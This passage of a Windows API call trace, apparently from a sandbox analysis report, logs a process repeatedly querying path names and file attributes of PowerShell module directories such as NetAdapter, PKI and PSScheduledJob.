lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acc005, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.316] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0242.316] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0242.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.316] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acdc29, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.317] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0242.317] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", lpFilePart=0x0) returned 0x37 [0242.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.317] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msmq"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20c0ce20, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x243555cf, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x243555cf, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.319] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0242.319] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x3e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", lpFilePart=0x0) returned 0x3d [0242.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.319] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acff90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.320] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0242.320] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x41, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", lpFilePart=0x0) returned 0x40 [0242.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.320] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb671a, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x49, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", lpFilePart=0x0) returned 0x48 [0242.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.321] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb70fa, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0242.321] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x3b, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", lpFilePart=0x0) returned 0x3a [0242.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.322] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c2fdb4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.322] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0242.322] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0242.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.322] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7d5c2, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0242.323] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0242.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.323] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7e767, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0242.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x3f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", lpFilePart=0x0) returned 0x3e [0242.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.324] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1d3e2ea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0242.324] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x41, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", lpFilePart=0x0) returned 0x40 [0242.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.325] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbbc19, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2081182e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0242.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x3c, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", lpFilePart=0x0) returned 0x3b [0242.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.326] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbc877, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0242.326] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x4d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", lpFilePart=0x0) returned 0x4c [0242.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.326] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e300dc, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0242.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x45, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", lpFilePart=0x0) returned 0x44 [0242.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.327] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e30eea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0242.327] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x37, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", lpFilePart=0x0) returned 0x36 [0242.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.328] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e319e4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.329] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x3d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", lpFilePart=0x0) returned 0x3c [0242.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.329] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e92e4b, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.332] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0242.332] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x43, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", lpFilePart=0x0) returned 0x42 [0242.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.332] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e93bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x208aa1cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0242.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0242.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.333] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e950c4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0242.333] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0242.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.333] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f64ff6, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.334] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0242.334] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0242.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.334] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f65404, 